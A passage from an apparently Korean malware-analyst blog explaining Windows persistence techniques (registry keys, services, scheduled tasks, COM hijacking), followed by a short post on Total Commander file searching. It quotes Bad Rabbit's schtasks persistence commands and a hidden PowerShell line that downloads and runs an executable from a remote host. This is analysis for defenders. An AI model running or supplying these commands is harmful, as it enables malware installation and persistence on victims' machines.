[ HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs\Section1 - DefaultInstall ]

[ HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs\Count - 4 ]

[ HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs\Path1 - %APPDATA%\\Microsoft\Internet Explorer\mounper.inf ]


  여기까지 완료되면 Run Key를 등록한 것과 같이 이후 재부팅 시에 실행된다.





4. 서비스

  서비스는 윈도우가 부팅될 때 자동으로 실행되며 지속적으로 존재한다. 이러한 특징 외에도 은닉과 관련된 특징이 존재하기 때문에 악성코드는 자신의 지속 메커니즘으로써 서비스를 이용하는 경향이 많다. 블로그에 "윈도우의 서비스"에 대한 글이 존재하기 때문에 여기서는 간단하게만 정리하기로 한다. exe 형태의 실행 파일은 다음의 레지스트리에 저장된다.


[ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services ]


  위의 키에 악성코드의 경로가 등록되어 있고 윈도우는 부팅 시 이 레지스트리를 참고하여 등록된 서비스들을 실행시킬 것이다. 

  Windows NT 이전 버전에서는 다음의 레지스트리 키들이 사용자 로그온 이전에 프로그램을 실행하는데 사용되었다. 그 이후부터는 services.exe 즉 SCM이 사용자 로그온 이전의 시스템 서비스들에 대한 로드를 담당한다.


[ HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce ]

[ HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices ]





5. 작업 스케줄러

  관련 내용은 다음 링크에 더 자세하게 나와있다. [ http://sanseolab.tistory.com/68 ]


  다음으로는 여러 예제들을 보면서 어떤 방식으로 사용되는지를 살펴보았다.



- 예제 1 ]

http://securityfactory.tistory.com/293

  여러 정보를 저장한 xml 파일을 만든 후 다음 명령어를 통해 인자로 xml 경로를 넣고 실행한다.


> schtasks.exe /Create /TN "Update\Window" /XML "경로명"



- 예제 2 ] Bad Rabbit

http://blog.alyac.co.kr/1377


  위의 링크를 보면 xml 파일 관련해서 나오는데 검색해보니 다른 자료에서는 xml 관련한 내용이 나오지 않고 명령어를 봐도 xml을 이용하지 않고 직접 입력하는 방식으로 보인다. 명령어는 각각 다음과 같다.


cmd.exe /c schtasks /Create /SC once /TN drogon /RU SYSTEM /TR %WinDir%\system32\shutdown.exe /r /t 0 /f /ST : 시간


cmd.exe /c schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR %WinDir%\system32\cmd.exe /C Start \\ \%WinDir%\dispci.exe\ -id [랜덤숫자]&& exit



- 예제 3 ]

https://kkomak.wordpress.com/2017/06/01/%EC%B5%9C%EA%B7%BC-%EC%9D%B4%EC%8A%88%EB%90%9C-%EA%B5%AD%EB%82%B4-%EC%B7%A8%EC%95%BD%ED%95%9C-activex-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-%EA%B4%80%EB%A0%A8/ ]


  이것을 보면 at을 아직 사용할 수 있는것 같기도 하다.


“cmd /c c:\windows\system32\at.exe “,” powershell -nop -nologo -wind hidden (New-Object System.Net.WebClient).DownloadFile(‘http://xxxx.xx.xx/xxxx/xx/rss.php&#8217;,’c:\windows\temp\iexplore.exe’);(New-Object -com Shell.Application).ShellExecute(‘c:\windows\temp\iexplore.exe’);





6. COM Object Hijacking

  COM과 관련한 기본적인 내용은 다음 링크를 참고한다.  [ http://sanseolab.tistory.com/49 ]


  HKCR\CLSID\의 값들은 HKLM\SOFTWARE\Classes\CLSID\와 HKCU\SOFTWARE\Classes\CLSID\의 조합이다. 문제는 우리가 관리자 권한이 없어도 HKCU\SOFTWARE\Classes\CLSID\의 값을 조작할 수 있다는 점이다.


  어떤 응용 프로그램이 COM을 이용하는 경우 HKCR\CLSID\에서 상응하는 CLSID를 검색한다. 여기에는 보통 DLL의 경로가 들어있으며 COM을 초기화한 경우 이 DLL이 로드된다. COM Object Hijacking은 이 DLL의 경로를 악성코드 DLL의 경로로 수정하게 된다. 이를 통해 DLL 인젝션 등의 방식 없이도 특정 응용 프로그램 실행 시에 자동으로 악성 DLL이 로드되게 할 수 있다.





7. 루트킷

  생략.





8. etc

  꾸준히 다양한 방식들이 나오고 있다.


Appx/UWP 앱의 디버거를 이용한 방식 (레지스트리) : https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/amp/?__twitter_impression=true ]



'악성코드 분석' 카테고리의 다른 글

Access Token 및 권한과 Integirity Level에 대한 정리  (0) 2019.01.27
인스톨러들 분석  (0) 2018.12.16
TotalCommand 자동화  (0) 2018.12.16
x64dbg 분석 팁  (0) 2018.12.15
디버거로 덤프 뜨기  (1) 2018.12.15
Posted by SanseoLab

  여기에는 토탈커맨드 프로그램을 이용한 대량 데이터 처리 자동화에 대해서 정리한다. 그때 그때 괜찮다고 생각되는 부분을 추가할 것이다.



1. 다수의 파일들에서 내부 특정 문자열 검색

  다수의 텍스트 파일들 중에서 특정 문자열이 들어간 파일들만 추출하여 다른 곳으로 옮기는 방식이다. 먼저 "파일 찾기"를 누르고 아래의 "문자열" 부분을 체크하고 검색창에 찾을 문자열을 입력한다. 위의 "찾을 파일"은 파일명을 기준으로 찾지만 아래의 문자열 검색은 해당 경로 내부의 모든 파일들에 대해서 내부의 문자열을 찾아주는 매우 유용한 기능이다.



2. 검색 결과 파일들 옮기기

  1번의 결과로 다수 파일들이 나올 것이다. 오른쪽 아래를 보면 "목록 창에 입력" 버튼이 있으며 클릭하면 결과가 목록으로 보인다. 이것들을 모두 선택하고 (간단하게 Ctrl+A를 사용해도 된다) 오른쪽 페이지에는 옮길 폴더를 선택한후 드래그 앤 드랍을 하면 추출된 결과만 복사하는 것이 가능하다. 아예 옮기고 싶다면 마우스 왼쪽 버튼으로 드래그한 후 마우스 오른쪽 버튼도 같이 클릭하면 복사가 아닌 이동이 된다.


 



'악성코드 분석' 카테고리의 다른 글

인스톨러들 분석  (0) 2018.12.16
악성코드 지속 메커니즘  (0) 2018.12.16
x64dbg 분석 팁  (0) 2018.12.15
디버거로 덤프 뜨기  (1) 2018.12.15
[Tool] ejExtractor  (0) 2018.12.10
Posted by SanseoLab

블로그 이미지
Malware Analyst
SanseoLab

태그목록

공지사항

Yesterday
Today
Total

달력

 « |  » 2024.11
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30

최근에 올라온 글

최근에 달린 댓글

글 보관함